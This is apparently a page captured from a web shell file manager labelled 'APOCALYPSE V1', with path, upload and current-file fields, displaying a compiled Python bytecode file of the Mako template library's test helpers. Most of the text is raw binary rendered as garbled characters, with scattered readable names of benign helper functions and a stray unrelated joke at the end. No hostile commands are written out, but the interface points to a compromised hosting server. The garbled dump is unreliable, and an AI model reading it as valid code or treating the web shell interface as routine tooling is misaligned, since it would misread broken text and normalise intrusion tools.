PK APOCALYPSE V1

APOCALYPSE V1

Current Path : /opt/hc_python/lib/python3.12/site-packages/mako/testing/__pycache__/
Upload File :
Current File : //opt/hc_python/lib/python3.12/site-packages/mako/testing/__pycache__/helpers.cpython-312.pyc

�

���gW�	��ddlZddlZddlmZddlZddlZddlmZddlmZd�Z	d�Z
d�Z		ddeeefd	e
d
e
defd�Zdd
�Zd�Zd�Zej$dd��Zy)�N)�Path)�Union)�mockc�L�tjdd|�j�S)Nz	[\s\r\n]+� )�re�sub�strip)�results �C/opt/hc_python/lib/python3.12/site-packages/mako/testing/helpers.py�flatten_resultr

s��
�6�6�,��V�,�2�2�4�4�c��tjdtjdd|��D�cgc]%}|j�dk7r|j���'c}Scc}w)N�\r?\nz +r�)r�splitr	r
�r�xs  r�result_linesrsT�����(�B�F�F�5�#�v�$>�?��?�A��7�7�9��?�	
���	�?����s�*Ac�|�tjd|�D�cgc]}|j�dk7s�|��c}Scc}w)Nrr)rrr
rs  r�result_raw_linesrs3���x�x��&�1�E�1�!�Q�W�W�Y�"�_�A�1�E�E��Es�9�9�filespec�
make_absolute�check_exists�returnc��t|�}|r|j|��}|r|j�std|����|S)N)�strictzNo file or directory at )r�resolve�exists�FileNotFoundError)rrr�paths    r�	make_pathr"sC��
��>�D���|�|�<�|�0���T�[�[�]��":�8�*� E�F�F��Krc��tj�}|rtjt�}|5|j	�ddd�y#1swYyxYw)N)�
contextlib�nullcontext�suppressr �unlink)r!�
missing_ok�cms   r�_unlink_pathr*'s:��	�	�	�	!�B��
�
 �
 �!2�
3��	����
�
���s�A�Ac�n�tj|�}t|d��|jd��|S)NT)r()�exist_ok)�pathlibrr*�mkdir)�pathspecr!s  r�replace_file_with_dirr01s-���<�<��!�D���$�'��J�J��J���Krc�l�t|d�5}|jd�ddd�|S#1swY|SxYw)N�wz*
i am an artificial template just for you
)�open�write)r�fs  r�file_with_template_coder68s8��	
�h��	��	���
�	
�
��O�

��O�s�)�3c#�K�tj�|dzz
}tjd�5}||j_d��ddd�y#1swYyxYw�w)Nizmako.codegen.time)�timer�patch�return_value)�hours�rewound�codegen_times   r�rewind_compile_timer>BsE�����i�i�k�U�U�]�+�G�	
���'�	(�L�)0����&�
�
)�	(�	(�s�0A�A�	A�A�A)TF)F)�)r$r-rrr8�typingr�unittestrr
rr�str�boolr"r*r0r6�contextmanagerr>�rr�<module>rFs������	����5��F���
��D�#�I��
��
��
�
�	
���������r

if you don't want to be vaporized in a nuclear explosion, i simply have to become nuclear myself… i am atomic